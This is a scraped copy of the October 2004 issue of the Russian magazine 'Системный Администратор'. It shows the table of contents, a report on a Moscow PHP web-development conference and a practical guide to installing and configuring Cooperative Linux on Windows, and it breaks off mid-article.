98
№10(23) октябрь 2004 подписной индекс 81655 www.samag.ru Знакомство с Cooperative Linux Идеальный карманный компьютер для системного администратора Bluetooth + Linux Настройка squid для использования авторизации из домена Windows 2000 Установка и настройка W2K Server Четырехузловой кластер с балансировкой нагрузки без внешнего массива данных PostgreSQL: функции и триггеры Внутренний веб-сервер STAT – совсем другая IDS Поиск троянов вручную Знакомство с Cooperative Linux Идеальный карманный компьютер для системного администратора Bluetooth + Linux Настройка squid для использования авторизации из домена Windows 2000 Установка и настройка W2K Server Четырехузловой кластер с балансировкой нагрузки без внешнего массива данных PostgreSQL: функции и триггеры Внутренний веб-сервер STAT – совсем другая IDS Поиск троянов вручную №10(23) октябрь 2004

023 Системный Администратор 10 2004

Embed Size (px)

DESCRIPTION

№10(23) октябрь 2004 подписной индекс 81655 www.samag.ru №10(23) октябрь 2004 Bluetooth + Linux, или Синий зуб на службе системного администратора Установка и настройка W2K Server Настройка Squid для использования авторизации из домена Windows 2000 STAT – совсем другая IDS АДМИНИСТРИРОВАНИЕ РЕПОРТАЖ ОБРАЗОВАНИЕ 4 6 Поиск троянов вручную Внутренний веб-сервер СЕТИ [email protected] репортаж 4 5 Дмитрий Горяинов Ôîòî ïðåäîñòàâëåíî îðãàíèçàòîðàìè êîíôåðåíöèè

Citation preview

Page 1: 023 Системный Администратор 10 2004

№10(23) октябрь 2004подписной индекс 81655

www.samag.ru

Знакомство с Cooperative Linux

Идеальный карманный компьютердля системного администратора

Bluetooth + Linux

Настройка squidдля использования авторизациииз домена Windows 2000

Установка и настройка W2K Server

Четырехузловой кластерс балансировкой нагрузкибез внешнего массива данных

PostgreSQL: функции и триггеры

Внутренний веб-сервер

STAT – совсем другая IDS

Поиск троянов вручную

Знакомство с Cooperative Linux

Идеальный карманный компьютердля системного администратора

Bluetooth + Linux

Настройка squidдля использования авторизациииз домена Windows 2000

Установка и настройка W2K Server

Четырехузловой кластерс балансировкой нагрузкибез внешнего массива данных

PostgreSQL: функции и триггеры

Внутренний веб-сервер

STAT – совсем другая IDS

Поиск троянов вручную№10

(23)

окт

ябрь

200

4

Page 2: 023 Системный Администратор 10 2004
Page 3: 023 Системный Администратор 10 2004

1№10(23), октябрь 2004

оглавление

Идеальный карманный компьютердля системного администратораЧасть 1

Андрей Маркелов[email protected] 17

Bluetooth + Linux, или Синий зубна службе системного администратора

Андрей Бешков[email protected] 20

Настройка Squid для использованияавторизации из домена Windows 2000

Рашид Ачилов[email protected] 30

Итоги III международной конференции«Современные технологии эффективнойразработки веб-приложенийс использованием PHP»

Дмитрий Горяинов[email protected] 4

РЕПОРТАЖ

BUGTRAQ 41, 59, 78

АДМИНИСТРИРОВАНИЕ

Знакомство с Cooperative Linux

Михаил Платов[email protected] 6

OpenGroupware.org,или Последний кирпич в стене

Сергей Яремчук[email protected] 12

PostgreSQL: функции и триггеры

Сергей Супрунов[email protected] 42

Внутренний веб-сервер

Сергей Супрунов[email protected] 48

СЕТИ

На пути повышения надёжностии скорости: Linux bonding

Павел Закляков[email protected] 54

STAT – совсем другая IDS

Сергей Яремчук[email protected] 60

Поиск троянов вручную

Денис Батранков[email protected] 68

Восстановление данных на NTFS-разделахЧасть 2

Крис Касперски[email protected] 80

Установка и настройка W2K Server

Роман Марков[email protected] 88

Четырехузловой кластерс балансировкой нагрузкибез внешнего массива данных

Геннадий Дмитриев[email protected] 36

Hakin9 Live

Сергей Яремчук[email protected] 66

ОБРАЗОВАНИЕ

Page 4: 023 Системный Администратор 10 2004
Page 5: 023 Системный Администратор 10 2004
Page 6: 023 Системный Администратор 10 2004

4

репортаж

23-24 сентября в Москве, в помещении Дворца культурыМАИ, прошла третья международная конференция «Совре-менные технологии эффективной разработки веб-приложе-ний с использованием PHP». Конференция была организо-вана сообществом веб-разработчиков PHPClub (http://phpclub.ru) и интернет-агентством WebProfy (http://webprofy.ru).

PHP представляет собой свободно распространяемуюсреду программирования с открытым API и возможностя-ми модульного расширения, изначально созданную для об-работки HTML-форм и создания веб-страниц.

Вместе с тем в основе технологии PHP лежит ядро (илидвижок), разрабатываемое и поддерживаемое компаниейZend (http://www.zend.com).

Эти две особенности делают ситуацию с PHP довольноуникальной, развитие технологии представляет собой совме-стное творчество сообщества независимых разработчикови профессиональной целенаправленной работы программи-стов Zend по совершенствованию и улучшению базовогодвижка.

Долгое время за PHP была закреплена слава языка веб-сценариев для системных администраторов. Изначально за-думанный как простой инструмент для обработки HTML-форм и создания веб-страниц язык представляет собойвесьма дружественную среду разработки для Web. PHP –язык-полиглот. Он дает возможность общаться с большимколичеством баз данных, упрощает анализ данных браузе-ра, может выполнять HTTP-запросы и обладает множествомвстроенных средств решения практических задач.

Прошедшая конференция еще раз подтвердила реномеPHP как технологии, своевременно и гибко реагирующей напроблемы сегодняшнего дня. Совместный доклад Алексан-дра Календарева (независимый разработчик, кандидат эко-номических наук, Россия) и Вадима Крючкова (системныйадминистратор, веб-программист компании InForce, Москва,Россия) «Интеграция информационной системы предприя-тия (на базе 1С) c веб-сайтом и PHP-приложениями» касал-ся очень актуальной области современных веб-систем – вза-имодействия веб-приложений и прикладного программногообеспечения. Готовое решение, поставляемое фирмой 1С встандартной комплектации, ориентировано на использова-ние и интеграцию учетной системы с веб-сервером MS IISкомпании Microsoft. Докладчики привели альтернативноерешение, рассмотрев возможности 1С для организации об-мена данными, вопросы отправки, получения и защиты дан-ных в системе, где веб-сайт (витрина) и учетная система пред-ставляют собой независимые приложения.

Аспектам коммерческого применения веб-проектов былпосвящен доклад руководителя проектов компанииRoyalHolding Евгения Бондарева (Киев, Украина): «Платеж-ные системы, взгляд изнутри». Были затронуты вопросывиртуальных и реальных денег, типовые способы взаимо-

действия с платежными системами и конкретные приме-ры. В рамках доклада были рассмотрены как западные пла-тежные системы, так и их аналоги в России и на Украине.Не остался в стороне и вопрос выбора того или иного ре-шения с точки зрения доступности, возможности проведе-ния платежа и фактора доверия со стороны конечного по-сетителя веб-сайта.

Приступая к разработке системы с возможностью осу-ществления веб-платежей, не следует забывать о том, чтопроведение банковских операций между банками разныхстран может оказаться более сложным, чем посещение веб-сайта. В этом смысле виртуальные деньги таких систем,как WebMoney, остаются пока более доступным средствомпроведения платежей в Интернете. Кроме того, фактор до-верия случайного посетителя к вашему веб-сайту не на-столько высок, чтобы однозначно предлагать ему ввестиреквизиты кредитной карты. Современные системы элект-ронных платежей предоставляют веб-разработчикам нетолько возможность прямого обращения к шлюзу, но и воз-можность переброски клиента на специальный интерфейс(Merchant-панель) на стороне сервера самой платежной си-стемы. В этом случае плательщик однозначно видит, чтоданные идут только платежной системе. Фактор доверияпри такой схеме платежей выше.

Вместе с тем на конференции нельзя было обойти сто-роной и традиционные аспекты веб-программирования. Су-ществует целый класс задач, в той или иной форме возни-кающих практически перед любым веб-разработчиком. Док-лад Алексея Рыбака по теме «Поиск на сайте средствамиphp, mysql и ispell: выбор между возможностями, качествоми производительностью» был одной из изюминок конфе-ренции, интерес к которой со стороны аудитории можнобыло легко предсказать заранее.

Участникам конференции был представлен каркас по-исковой системы с использованием словарных индексов,хранением и поиском объектов морфологии, правил сло-вообразования и поиском словоформ. В качестве сферыприменения рассматривались малые и средние проекты.Алексей Рыбак сделал упор на вопросах подключения вне-шних словарей к базе данных, рассмотрел стратегии поис-ка по оригинальной и нормализованной форме, способыповышения производительности такой системы.

В докладе были затронуты некоторые наиболее попу-лярные бесплатные (условно-бесплатные) решения, такиекак MnoGoSearch (http://mnogosearch.ru), Ht://Dig (http://htdig.org), RiSearch (http://www.risearch.org) и промышлен-ные решения, такие как Яndex.Server (http://company.yandex.ru/technology/products/yandex-server.xml) и RCO от«Гарант-Парк Интернет» (http://www.rco.ru).

Дмитрий Котеров, главный программист Host-ing.Ru (Мос-ква, Россия) и автор книги «Самоучитель PHP4», затронул

ИТОГИ ТРЕТЬЕЙ МЕЖДУНАРОДНОЙ КОНФЕРЕНЦИИ«СОВРЕМЕННЫЕ ТЕХНОЛОГИИ ЭФФЕКТИВНОЙ РАЗРАБОТКИ

ВЕБ-ПРИЛОЖЕНИЙ С ИСПОЛЬЗОВАНИЕМ PHP»

Page 7: 023 Системный Администратор 10 2004

5№10(23), октябрь 2004

репортаж

еще одну актуальную тему разработки веб-приложений – бе-зопасность и защиту от злоумышленников. В докладе «Воп-росы безопасности веб-программирования» были рассмот-рены пути противодействия традиционной уязвимости PHP-приложений к SQL-Injection (взлом базы данных за счет из-начальной слабости в архитектуре API для работы с MySQL).В качестве решения был предложен метод placeholder, со-здающий дополнительный «защитный слой» между зап-росами и API. Подобную идеологию поддерживает и новоерасширение PHP5 mysqli, предназначенное для работы сMySQL версии 4 и старше. Дмитрий Котеров затронул так-же темы кражи идентификаторов сеанса, проблему неяв-ных включений файлов и возможных путей противодей-ствия DoS-атакам (антифлудинг, ограничение ресурсов).

Технология PHP крайне динамична и не стоит на месте.Открытость и возможности расширения предоставляют ко-нечному разработчику приложений механизм для созданияи встраивания в систему собственных модулей. Этому былпосвящен доклад Антона Довгаля «Разработка модулей(расширений) PHP на примере memcache». Модульmemcache предоставляет разработчику механизмы кэши-рования запросов и данных и используется в таком попу-лярном сетевом сервисе, ставшим целым явлением, как«Живой Журнал» (http://www.livejournal.com).

Язык PHP получил очень сильную поддержку и обрелпрофессиональное ядро благодаря усилиям и участию в егоразвитии компании Zend. Сейчас корпорация Zend готовасовершить еще одну маленькую революцию – внедрить но-вую версию ядра (Zend Engine 2) и, соответственно, 5-уюверсию языка PHP, реально ориентированную на техноло-гию объектно-ориентированного программирования. Новымособенностям и возможностям, предлагаемым разработчи-ками ядра PHP своим пользователям, был посвящен док-лад Ивана Устюжанина (системный администратор ежене-дельника «Московский комсомолец» в Курске, Россия) иКонстантина Барышникова (системный администратор ипрограммист, ведущий ресурса http://www.php5.ru) «Нетавралу! Плавный переход на PHP5». В применении ООПсейчас уже нет ничего революционного, эта идеология дав-но стала привычной и естественной в современных языкахпрограммирования. Но предлагаемый переход от предос-тавления средств написания программ в стиле ООП к ре-

альной поддержке этого способа программирования в рам-ках интерпретируемого языка – это действительно нечто!

Каковы же перспективы использования новой версии PHP?С точки зрения массовой веб-разработки, та или иная техно-логия или новая версия становятся реальностью лишь с еевнедрением и поддержкой со стороны провайдеров хостин-говых услуг. По заявлению некоторых российских провай-деров, выступивших спонсорами конференции, хостинг с ис-пользованием PHP5 уже сейчас становится реальностью.

В рамках конференции прошли два мастер-класса. Пер-вый был посвящен особенностям работы с сервером баз дан-ных PostgreSQL (Алексей Борзов, независимый разработчик,Москва, Россия), второй – использованию идеологии и ме-тодик экстремального программирования в разработке веб-проектов (Александр Смирнов, основатель клуба разработ-чиков PHP – PHPClub.ru, Москва, Россия). Увы, временныерамки вынудили организаторов конференции проводитьмастер-классы параллельно некоторым докладам.

Как уже отмечалось, организаторами конференции вы-ступили сообщество веб-разработчиков PHPClub и интер-нет-агентство WebProfy. Подобный союз независимой об-щественной организации и коммерческой компании доволь-но символичен для PHP. Уровень проведения конференцииоставил очень благоприятное впечатление. Организаторамудалось обеспечить участников конференции не только пе-чатными материалами и питанием, но и такой важной «ме-лочью», как возможность в любой момент выпить чашкучая или кофе.

Главным успехом конференции можно назвать привле-чение к участию в ней профессиональных веб-разработчи-ков, разделенных географическим положением, работаю-щих и проживающих в различных странах СНГ и Прибал-тики. Живое общение в кулуарах, возникающее вокруг кого-то из докладчиков или стихийно, само по себе не прекра-щалось ни на минуту и было весьма интересно и ценно.Вне всякого сомнения усилия организаторов заслуживаютодобрения и благодарности как за подбор и освещениеподнятых на конференции вопросов, так и за предостав-ленную участникам возможность неформального обменамнениями и идеями в профессиональной среде.

Дмитрий Горяинов

Ôîòî ïðåäîñòàâëåíî îðãàíèçàòîðàìè êîíôåðåíöèè

Page 8: 023 Системный Администратор 10 2004

6

администрирование

Исторический экскурс25-27 января 2004 года новостные ленты большинства ин-формационных изданий, так или иначе посвященных ком-пьютерной тематике, пестрили такими сообщениями: «Linuxтеперь можно запускать в Windows», «Linux и Windows безперезагрузок», «Революционное изобретение 21-летнегогения» и т. д. Мир узнал о новом проекте – Cooperative Linux(сокращенно – coLinux). В анонсах сообщалось о том, чтотеперь появился еще один способ «подружить» две самыепопулярные операционные системы – Linux и Windows. Длядостижения поставленной цели разработчики использова-ли довольно интересное решение – запуск Linux-ядра какотдельного процесса Windows. В качестве иллюстрации ра-боты системы показывались скриншоты японской версии(спасибо японским спонсорам) широко известного дистри-бутива Knoppix:

Однако радость от этого во многом знаменательногособытия несколько омрачалась тем, что попробовать coLinuxв деле реально смогли немногие – проект был доступентолько в виде исходного кода, собрать который было от-нюдь не просто. Впрочем, такая ситуация не могла длитьсявечно, и вскоре появилась первая бинарная версияcoLinux. У кого-то она запустилась, у кого-то нет, но рабо-та продолжалась и проект развивался. Постепенно coLinuxосвободился от связей с Microsoft DDK и cygwin, избавил-ся от многих ошибок, обзавелся новой функциональнос-

тью (http://www.colinux.org/?section=status). Последняя дос-тупная на момент написания статьи stable-версия coLinux –0.6.1, именно о ней и пойдет речь в данной статье. Но преж-де чем приступить к рассмотрению самого coLinux, несколь-ко слов о том, что это такое и для чего это нужно.

Зачем нужен coLinuxУсловно можно выделить несколько групп пользователей,для которых coLinux представляет практический интерес.В первую очередь это разработчики, принимающие учас-тие в создании кроссплатформенных приложений, систем-ные администраторы, интересующиеся возможностямиLinux-систем, преподаватели учебных заведений, и, конеч-но, простые пользователи, желающие познакомиться с Linuxпоближе.

Другими словами, coLinux в первую очередь интересентем людям, которые в своей повседневной работе одновре-менно используют две операционные системы – Linux иWindows. Минуточку, но ведь эта проблема не нова! Ведьесть уже vmWare, VirtualPC, bochs, xen, wine, cygwin и дру-гие проекты, решающие проблему организации одновре-менной работы в нескольких ОС. Чем же примечателенcoLinux? Что выделяет его среди конкурентов? Для тогочтобы ответить на эти вопросы, давайте более пристальнопосмотрим на то, как сейчас решается проблема организа-ции работы в нескольких ОС:! Виртуальные машины. Типичные представители –

vmWare, VirtualPC, bochs, xen. В этом случае вторая ОС,называемая гостевой, запускается в так называемой вир-туальной машине. У этой машины есть свое «виртуаль-ное» оборудование, BIOS и, конечно, своя операционнаясистема. Отличительной особенностью является то, чтооперационная система и ее программы практически и недогадываются о том, что они работают в виртуальной ма-шине. Для них все происходит так же, как и при работена обычном компьютере. Преимущества этого подходаочевидны: подавляющее большинство программ без про-блем будут работать в виртуальной машине без каких-либо изменений в их исходном коде. Платой же за такую«универсальность» является скорость, которая, как нетрудно догадаться, будет ниже, чем при работе этой жесистемы на реальном оборудовании.

ЗНАКОМСТВО С COOPERATIVE LINUX

МИХАИЛ ПЛАТОВ

Page 9: 023 Системный Администратор 10 2004

7№10(23), октябрь 2004

администрирование

! Эмуляция на уровне API (wine, cygwin, mingw). Идея это-го подхода состоит в том, чтобы запустить уже суще-ствующее Linux/Windows-приложение, эмулируя API «чу-жеродной» ОС. Такой подход позволяет добиться боль-шей производительности (по сравнению с виртуальноймашиной), однако никто не сможет дать гарантий отно-сительно того, как будет (если вообще будет) работатьваше любимое приложение в wine или cygwin.

Теперь осталось определить, к чему же относится coLinux,для этого давайте более пристально посмотрим на то, какон устроен.

CoLinux, взгляд изнутриCoLinux представляет из себя набор нескольких модулей,работающих на разных уровнях операционных системWindows и Linux. Условно в составе coLinux можно выделитьследующие компоненты: драйвер ОС Windows, отвечающийза предоставление ядру Linux доступа к процессору и памя-ти, несколько модифицированное ядро ОС Linux (для тогочтобы работать с Windows-драйверами coLinux), драйверыLinux и Windows, отвечающие за организацию взаимодей-ствия Linux с «внешним миром» (Ethernet, console), драйве-ры блочных устройств для отображения устройств Windowsна блочные устройства coLinux.

За непосредственный запуск coLinux отвечает специаль-ная программа – coLinux-daemon. Используя Windows-драй-веры, coLinux-daemon формирует окружение, в которомначинает выполняться ядро ОС Linux. Фактически coLinux-daemon является аналогом lilo и grub, выступая в coLinux вкачестве загрузчика ядра.

Давайте более подробно остановимся на задачах, ре-шаемых основными компонентами coLinux:! Демон coLinux. Один из ключевых компонентов систе-

мы. Фактически это загрузчик, который, объединяя всеостальные компоненты coLinux, создает окружение, вкотором исполняется ядро Linux.

! Драйвер блочных устройств. Главной задачей этогодрайвера является предоставление доступа к устрой-ствам, имеющимся в ОС Windows, как к блочным. ВcoLinux этот драйвер используется для задания отобра-жения устройств или файлов Windows на блочные уст-ройства coLinux, которые в дальнейшем могут бытьсмонтированы при помощи стандартной утилиты mount.На данный момент coLinux поддерживает определениеотображений для 32 устройств. Отдельно отметим тотфакт, что отображать можно не только отдельные фай-лы, содержащие образы linux-файловых систем, но иреальные разделы жестких дисков. Это позволяет ис-пользовать coLinux для запуска в Windows уже суще-ствующих инсталляций Linux-систем.

! Ethernet-драйверы. Как не трудно догадаться из назва-ния, эти драйверы используются для организации взаи-модействия нашей Linux-системы с внешним миром. Так,с coLinux можно использовать либо виртуальный TAP-драйвер, либо библиотеку WinPCap.

! Драйверы клавиатуры и консоли используются для орга-низации взаимодействия с Linux в привычном для мно-гих пользователей режиме – через консоль.

Итак, судя по приведенной выше классификации, coLinuxскорее относится к виртуальным машинам, чем к API-эму-ляторам. Ведь фактически он создает некую виртуальнуюмашину.

Кроме того, у coLinux есть и определенные черты, вы-годно выделяющие его среди возможных конкурентов. Так,он не эмулирует виртуальную машину в обычном для наспонимании. Он не эмулирует процессор, BIOS, память идругие устройства.

При помощи специальных драйверов, работающих нанулевом кольце защиты ОС Windows (ring 0), coLinux даетвозможность ядру Linux работать с имеющимся в Windowsоборудованием. Теоретически такой подход должен обес-печить большее по сравнению с обычными виртуальнымимашинами быстродействие. Платой же за это потенциаль-ное увеличение скорости является отказ от универсаль-ности. Чтобы linux-ядро стало coLinux-совместимым, кнему применяется специальный патч, позволяющий рабо-тать ядру в окружении, создаваемом демоном coLinux (ра-бота с Windows-оборудованием, управление памятью вы-деляемой демону и т. д.). Таким образом, выполнение ввиртуальной машине coLinux чего-либо отличного от ядраLinux становится либо затруднительным (для ОС с откры-тым исходным кодом), либо вообще невозможным (для ОСс закрытым исходным кодом).

Установка и запускУстановка coLinux очень проста. Все, что нам нужно, этозагрузить с сайта http://www.colinux.org инсталлятор coLinux(coLinux-0.6.1.exe) и запустить его.

В процессе установки выберем все возможные компо-ненты:

В качестве пути установки выберем «C:\coLinux»:

Page 10: 023 Системный Администратор 10 2004

8

администрирование

В принципе здесь можно выбрать любой каталог, одна-ко тогда нужно будет учесть это при редактировании кон-фигурационного файла.

Далее инсталлятор предложит нам скачать библиотекуWinPCap, необходимую для организации работы coLinux не-посредственно с сетевой картой компьютера (bridged-режим).

В следующем диалоге инсталлятора мы можем автома-тически скачать образ root-файловой системы (Gentoo,Debian или Fedora Core 1 (скачивается вручную c сайтаcoLinux)). Образы отличаются размером и, соответствен-но, количеством уже установленных пакетов. В принципездесь можно выбрать образ на основе любого из вышепе-речисленных дистрибутивов или использовать раздел отуже установленной ОС Linux, однако для простоты и конк-ретности изложения будем полагать, что в процессе уста-новки было принято решение в пользу образа Gentoo-deluxe.

После нажатия кнопки «Install» на вашем компьютеребудут установлены все необходимые драйверы (все, кромеWinPCap, который нужно устанавливать «вручную») и ядро.Кроме того, в папку установки инсталлятором будет загру-жен образ выбранной root-файловой системы.

После окончания установки в папке c:\coLinux появитсянесколько файлов. Нам в первую очередь понадобятся сле-дующие:! Gentoo-i586-ext3-2g-deluxe.bz2! Default.coLinux.xml

Первый файл представляет собой сжатый образ root-файловой системы. Для его распаковки можно воспользо-ваться любым архиватором, понимающим формат bz2, на-пример, 7zip (http://www.7zip.org). Для простоты распакуемфайл в c:\coLinux\Gentoo-i586-ext3-2g-deluxe.

Второй файл является не чем иным, как конфигураци-онным файлом coLinux. Синтаксис его достаточно прост. Встандартном для XML формате в нем определяются следу-ющие настройки:! Отображение фалов (или разделов) Windows на блоч-

ные устройства coLinux.! Путь к файлу ядра Linux.! Параметры, передаваемые ядру.! Количество ОЗУ, выделяемого coLinux.! Настройки сетевого интерфейса.

Чтобы не «портить» первоначальный файл, скопируемего с именем gentoo.xml и внесем в него некоторые изме-нения. Для начала укажем местоположение root-файловойсистемы:

Далее подправим настройки сетевого интерфейса. Дляопределенности будем считать, что мы используем вари-ант с TAP. Тогда строка конфигурации <network> будетиметь следующий вид:

Кроме того, для нормальной работы нам, скорее все-го, понадобится swap-раздел. По умолчанию он не созда-ется инсталлятором, поэтому его придется скачать, рас-паковать и подключить вручную. Для этого с сайта http://gniarf.nerim.net/colinux/swap загрузим сжатый образ swap-файла нужного размера, распакуем его в c:\coLinux\swap_256Mb и добавим в файл конфигурации следующуюстрочку:

Итак, с настройкой демона coLinux мы закончили, и те-перь можно смело перейти к настройке сетевой части вWindows.

После установки coLinux в сетевых подключениях у наспоявился еще один сетевой адаптер:

Именно через него у нас и будет работать Linux.Для доступа к Интернету воспользуемся стандартным

(начиная с Windows 2000) механизмом Internet ConnectionSharing (ICS). (Дополнительную информацию об ICS можнонайти в справке Windows.)

Активизируется он до неприличия просто – открываемсвойства первого сетевого подключения по сети и ставим«галочки» в разделе «общий доступ подключения к Интер-нету»:

<block_device index="0" path="\DosDevices\c:\coLinux\ ↵↵↵↵↵gentoo-i586-ext3-2g-deluxe" enabled="true" />

<network index="0" type="tap">

<block_device index="1" path="\DosDevices\c:\coLinux\ ↵↵↵↵↵swap_256Mb"

Page 11: 023 Системный Администратор 10 2004

9№10(23), октябрь 2004

администрирование

Теперь самое время перейти к запуску системы. Созда-дим и запустим cmd-файл со следующим содержимым:

Входим в систему как root (без пароля) и первое, чтоделаем... правильно, меняем пароль с помощью програм-мы passwd. По умолчанию Gentoo-образ использует DHCPдля конфигурации сетевого интерфейса. Так как для орга-низации соединения мы используем ISC, включающий всебя DHCP-сервер, то сразу же после загрузки coLinux унашей linux-машины уже будет настроен IP-адрес, шлюз поумолчанию и адрес DNS-сервера. Однако если вам вдругпонадобится поменять эти настройки, то в Gentoo это де-лается путем редактирования следующих конфигурацион-ных файлов: /etc/conf.d/net и /etc/resolv.conf.

Итак, двигаемся дальше. Проверяем файл /etc/fstab.Root-файловая система в нем прописана правильно (ука-зывает на /dev/cobd0), а вот swap-файл у нас, скорее всего,будет не подключен. Исправим это с помощью пока един-ственного доступного нам в данный момент редактора nano:

Добавим в fstab следующую строку:

Проинициализируем swap-файл:

и, наконец, включим его:

Если все было сделано правильно, то после команды# swapon –s на экране мы увидим следующее:

Установка и обновление программИтак, теперь у нас есть установленная и минимально на-строенная система. Тем не менее, поработав в ней некото-рое время, начинаешь понимать, что программ, имеющих-ся в стандартном образе явно не хватает. Так, даже в са-мом большом доступном для скачивания образе файловойсистемы – Gentoo-deluxe – после установки нет таких про-грамм, как vi, mc, nslookup, telnet, links, tracert и многих дру-гих. Кроме того, лично мне также захотелось поставитьsshd, samba и apache и нескольких других пакетов, необхо-димых для моей работы. Благо мучиться долго не пришлось,т.к. для установки и удаления программ в Gentoo Linux естьPortage – мощная система управления пакетами. Фактичес-ки она является своеобразной копией системы «портов»,уже давно существующей во FreeBSD, однако в Gentoo«порты» FreeBSD называются ebuild’s. Суть их от этого, прав-да, не меняется. Так же, как и во FreeBSD, они содержатинформацию, необходимую для сборки каждого пакета изисходных кодов. Установка программ с использованиемPortage производится почти автоматически. Достаточновыполнить одну команду, и нужный пакет будет скачан,скомпилирован и установлен на вашем компьютере. Дляиллюстрации работы Portage рассмотрим процесс установ-ки пакета mc (Midnight Commander).

Первое, что нам нужно сделать для после установкиGentoo, – это синхронизировать локальный репозиторийPortage с репозиторием, хранимым на сервере. Для этоговыполним команду #emerge sync. После ее запуска скриптemerge загрузит в /usr/portage список всех доступных наданный момент ebuild-скриптов. Теперь можно приступитьк установке любого из пакетов, имеющегося в Portage, втом числе и mc. Для этого достаточно выполнить команду:

Система Portage сама загрузит и соберет все необхо-димые файлы с автоматическим удовлетворением всехзависимостей от других пакетов:

colinux-daemon.exe -t nt -c gentoo.xml

# nano /etc/fstab

/dev/cobd1 swap swap defaults 0 0

# mkswap /dev/cobd1

# swapon �a

# swapon –s

Filename Type Size Used Priority

/dev/cobd1 partition 262136 0 -1

#emerge mc

Page 12: 023 Системный Администратор 10 2004

10

администрирование

После завершения установки мы увидим следующее:

Пакет был успешно установлен, запись об этом быладобавлена в /var/cache/edb/world.

Подключение дополнительных устройствВремя от времени у меня возникала необходимость рабо-ты с различными устройствами, с которыми я привык рабо-тать в Windows. И если с некоторыми устройствами (звуко-вая плата, видеокарта) работать из coLinux на данный мо-мент нельзя, то с другими (дисковыми) очень даже можно.Для организации доступа к дисковым устройствам в coLinuxиспользуется драйвер блочных устройств. Для этогоwindows-устройство, которое необходимо подключить вcoLinux, сначала в xml-файле отображается на одно из блоч-ных устройств (cobd), а затем монтируется из Linux при по-мощи утилиты mount. Следует отметить, что при таком под-ключении используются не образы файловых систем (какэто было для root-файловой системы и swap-файла), а ре-альные разделы устройств. Для получения списка всех раз-делов, имеющихся в Windows, а также правильных путей кним можно воспользоваться консольной утилитой dmdiag.exe,входящей в состав Windows Resource Kit. Запустим эту ути-литу. Для удобства чтения перенаправим ее вывод в файл:

В результате в текущем каталоге появится текстовыйфайл disk.out, содержащий полное описание всех устройствхранения, имеющихся на данный момент в распоряженииОС Windows. С точки зрения применимости к coLinux наспрежде всего интересуют секции «Drive letter to device name»и «\Device\Harddisk». Первая секция описывает отображе-ния физических устройств на буквы ОС Windows. Из этойсекции мы можем узнать, что буква A: у нас на самом делеявляется устройством \Device\Floppy0:

То есть дописав в наш xml-файл следующую строку:

мы отобразим дисковод 3.5” на блочное устройство coLinuxcobd4.

Если же мы хотим отобразить раздел жесткого диска,то на помощь нам придет секция \Device\Harddisk. Так, сле-дующая строка отобразит третий раздел второго жесткогодиска на cobd5:

Для USB-диска строка конфигурации может быть такой:

Итак, после запуска coLinux и выполнения команды:

мы увидим содержимое дискеты в /mnt/floppy. При монти-ровании разделов напрямую нужно иметь в виду, что изlinux раздел будет подключаться таким, какой он есть. По-этому ядро должно поддерживать ту файловую систему,которая имеется на подключаемом разделе (UDF, FAT, NTFSи т. д.). Кроме того, пока раздел будет смонтирован (илиоткрыт) в одной системе, в другой он будет недоступен.

Запуск в качестве службыКому-то может показаться неудобным, что перед работой сcoLinux нужно предварительно вручную запускать cmd-файл. Особенно это неприятно в тех случаях, когда в coLinuxвыполняются какие-либо сетевые сервисы (apache, sambaили ftp). В таком случае удобно настроить запуск coLinuxкак одной из служб Windows. После должной настройки,coLinux будет автоматически запускаться во время стартаWindows.

Для регистрации coLinux как службы Windows необхо-димо выполнить следующую команду:

После выполнения этой команды в системе появитсяслужба coLinux с указанным именем.

Для удаления службы достаточно выполнить команду:

Необходимо иметь в виду, что служба устанавливаетсяс типом запуска «Вручную», так что, если вам необходимо,чтобы coLinux работал всегда, измените тип запуска служ-бы на «Автоматически».

Кроме того, существует удобная утилита для работы с ужеустановленной службой coLinux – coLinux Manager. Скачатьее можно отсюда: http://www.biermana.org/index.php?p=54.

Утилита добавляет в панель задач значок coLinux:

С ее помощью можно быстро запускать и останавли-вать службу coLinux, открывать консоль, а также получатьинформацию о количестве используемых coLinux систем-ных ресурсов.

ВыводыКонечно, в целом появление такого продукта, как coLinux,не может не радовать. Ведь с его использованием можнодостаточно просто, быстро и бесплатно получить нормаль-но работающую Linux-систему, сохранив при этом возмож-ность работы с привычными Windows-программами. Одна-ко наряду с многочисленными плюсами (бесплатность, ра-бота напрямую с устройствами Windows, высокая совмес-тимость с приложениями и т. д.) есть и некоторые минусы.Так, за все время работы, около двух месяцев, Windows парураз порадовала «синим экраном» (чего не наблюдалось втечение как минимум года до установки coLinux). Крометого, огорчила производительность сети (субъективно скла-дывается впечатление, что работает она достаточно мед-

>>> app-misc/mc-4.6.0-r8 merged.

>>> Recording app-misc/mc in "world" favorites file...

Dmdiag.exe >>disk.out

A: \Device\Floppy0

<block_device index="4" path="\Device\Floppy0" ↵↵↵↵↵enabled="true" />

<block_device index="5" path="\Device\Harddisk1\ ↵↵↵↵↵Partition2" enabled="true" />

<block_device index="6" path="\Device\Harddisk3\ ↵↵↵↵↵DP(1)0-0+a" enabled="true" />

# mount /dev/cobd4 /mnt/floppy

colinux-daemon �c <ïóòü ê xml-ôàéëó>--install-service ↵↵↵↵↵<èìÿ ñëóæáû>

colinux-daemon --remove-service <èìÿ ñëóæáû>

Page 13: 023 Системный Администратор 10 2004

11№10(23), октябрь 2004

администрирование

ленно), а также проблемы работы с некоторыми сетевымиприложениями (NFS-сервер).

Если вы захотите запустить в coLinux какое-либо X-при-ложение, то вам придется дополнительно установить X-сер-вер на Windows-машину (Cygwin-X, Mi-X, Exceed и др.). Так-же при 100% загрузке процессора наблюдается ощутимоезамедление работы во всех виртуальных консолях coLinux.Возникает субъективное ощущение, что многозадачность вcoLinux работает по меньшей мере странно. К тому же еслиу вас вдруг возникнет желание запустить несколько копийcoLinux на одной машине, то у вас, скорее всего, ничего неполучится – более чем в одном экземпляре на данный мо-мент coLinux работать не может. Также не стоит забывать о

том, что coLinux не является эмулятором виртуальной ма-шины, в том же смысле что и vmware. Так, используя доступ-ную на данный момент версию, нельзя запустить еще однукопию windows, Netware или FreeBSD. Только Linux только вWindows и не более чем в одном экземпляре! Однако есливсе вышеперечисленные «минусы» не являются для вас кри-тичными, то можете смело использовать coLinux. В концеконцов, этот достаточно молодой продукт показал очень не-плохие результаты как в производительности, так и в совме-стимости при запуске Linux-приложений. Кроме того, не сле-дует забывать, что coLinux является совершенно бесплат-ным.

Способы организации взаимодействия(NAT vs Bridged)Итак, для Ethernet-связи с внешним миром в coLinux могутиспользоваться два драйвера TAP и WinPCap. На основеэтих драйверов можно по-разному организовать взаимо-действие Linux- и Windows-систем:! NAT (Network Address Translation). Механизм сетевого

